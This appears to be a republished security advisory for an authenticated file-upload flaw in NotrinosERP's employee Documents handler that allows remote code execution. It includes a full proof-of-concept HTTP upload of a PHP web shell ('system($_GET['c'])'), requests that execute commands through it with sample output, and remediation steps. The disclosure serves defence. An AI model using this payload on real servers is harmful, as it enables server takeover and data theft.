GHSA-qv4m-m73m-8hj7High· 8.8▾ TwilightNotrinosERP: Authenticated arbitrary file upload leads to remote code execution via HRM employee "Documents" (doc_file)
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 48.4 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
An authenticated user with the HR "Manage Employees" permission (SA_EMPLOYEE) can upload a file with an arbitrary extension through the employee Documents tab. The handler writes the raw client-supplied filename — extension intact — into a web served directory with no extension, MIME, or content validation, so a .php file is stored under the web root and executes as code, yielding remote code execution on the server.
The document-upload branch in hrm/manage/employees.php (function tab_documents()) moves the uploaded file using the client filename verbatim:
// hrm/manage/employees.php -> tab_documents() (HEAD lines 597-602; release 1.0.0 lines 568-573)
$upload_dir = company_path().'/documents/employees';
if (!file_exists($upload_dir))
mkdir($upload_dir, 0777, true);
$file_path = $upload_dir.'/'.$employee_id.'_'.time().'_'.$_FILES['doc_file']['name'];
if (!move_uploaded_file($_FILES['doc_file']['tmp_name'], $file_path)) { ... }
There is no extension allow-list, getimagesize(), MIME check, or content inspection on this path. Contrast this with the profile photo (pic) upload in the same file, which validates image type/extension/size, and with core includes/ui/attachment.inc, which deliberately generates a random extension-less name (uniqid()) with a comment warning that client filenames must never be trusted. The document handler ignores that established safe pattern.
Reachability of the written file:
company_path() resolves under the web root; config.default.php sets
$comp_path = $path_to_root.'/company', so uploads land in company/0/documents/employees/..htaccess in the project is the repo-root one, which denies .inc/.po/.sh/.pem/.sql/.log
only — it does not block .php and does not cover company/.hrm/includes/ui/employee_ui.inc lines 153-154 — file_path concatenated straight into href),
handing the attacker the exact URL of the shell (and creating a secondary stored-XSS sink, CWE-79).A crafted multipart filename containing ../ additionally enables path traversal (CWE-22) on PHP builds that do not basename ['name'].
The upload is gated by authentication and CSRF, but neither gates the file itself. Prerequisites: an authenticated session with SA_EMPLOYEE; an existing employee (employee_no); a valid doc_type_id; and the session CSRF token. The CSRF field is _token (validated bycheck_csrf_token() against $_SESSION['csrf_token']), so first GET the Documents form to read the
hidden _token, then submit. Against your own local instance:
POST /hrm/manage/employees.php?employee_no=1&_tabs_sel=tab_documents HTTP/1.1
Host: <your-local-instance>
Cookie: <authenticated session>
Content-Type: multipart/form-data; boundary=b
--b
Content-Disposition: form-data; name="_token"
<value of the hidden _token field from the GET response>
--b
Content-Disposition: form-data; name="doc_type_id"
<a valid document type id>
--b
Content-Disposition: form-data; name="doc_name"
x
--b
Content-Disposition: form-data; name="doc_file"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['c']); ?>
--b
Content-Disposition: form-data; name="save_document"
Save Document
--b--
Then request the stored file (its exact path is shown in the Documents tab's "View" link):
GET /company/0/documents/employees/1_<unix_ts>_shell.php?c=id HTTP/1.1
The command in c executes on the server.
The code-execution mechanism was confirmed on a local host (PHP 8.5). A harness running the handler's verbatim path/move logic wrote company/0/documents/employees/1_<ts>_shell.php (attacker-chosen .php extension, no validation applied), and requesting it through a PHP web server rooted at the app directory executed the payload:
$ curl '.../company/0/documents/employees/1_1783671979_shell.php?c=id'
uid=501(...) gid=20(staff) ...
$ curl '.../<same>.php?c=uname%20-sm;whoami'
Darwin arm64
<user>
Caveats: (1) the harness used copy() in place of move_uploaded_file() because a CLI process has no real multipart temp file — the client-filename handling and the absence of any validation are identical to production (poc/rce_demo.php); (2) PHP's built-in server executes the file by path, and a standard Apache/mod_php or Nginx+PHP-FPM deployment behaves the same, because the repo-root .htaccess does not block .php and does not cover company/. The full HTTP flow additionally requires the auth + _token + doc_type_id prerequisites above, none of which inspect the file.
Remote code execution on the hosting server by any authenticated operator holding the delegable SA_EMPLOYEE role (not necessarily an administrator). If a deployment grants SA_EMPLOYEE only to administrators, treat privileges-required as High (CVSS ≈ 7.2).
includes/ui/attachment.inc's uniqid() approach); keep the original name
only as a DB label.pic
branch already does..htaccess/web.config in
company/*/documents/ that disables script execution (php_admin_flag engine off,
RemoveHandler .php, SetHandler none).htmlspecialchars() the stored path before emitting the "View" link (fixes the secondary XSS).hrm/manage/employees.php, hrm/includes/db/employee_document_db.inc, hrm/includes/ui/employee_ui.inc.notrinos/notrinos-erp <= 1.0.0Refer to the advisory for the patched release.
Connected by shared product, vendor, weakness, or advisory.
CVE-2026-24049High· 7.1wheel is a command line tool for manipulating Python wheel files, as defined in PEP 427
CVE-2026-34070High· 7.5LangChain is a framework for building agents and LLM-powered applications
CVE-2026-33236High· 8.1NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing
CVE-2026-33211Critical· 9.6Tekton Pipelines project provides k8s-style resources for declaring CI/CD-style pipelines
CVE-2025-67030High· 8.8Directory Traversal vulnerability in the extractFile method of org.codehaus.plexus.util.Expand in plexus-utils before 6d780b3378829318ba5c2d29547e0012d5b29642
CVE-2023-38950High· 7.5A path traversal vulnerability in the iclock API of ZKTeco BioTime v8.5.5 allows unauthenticated attackers to read arbitrary files via supplying a crafted payload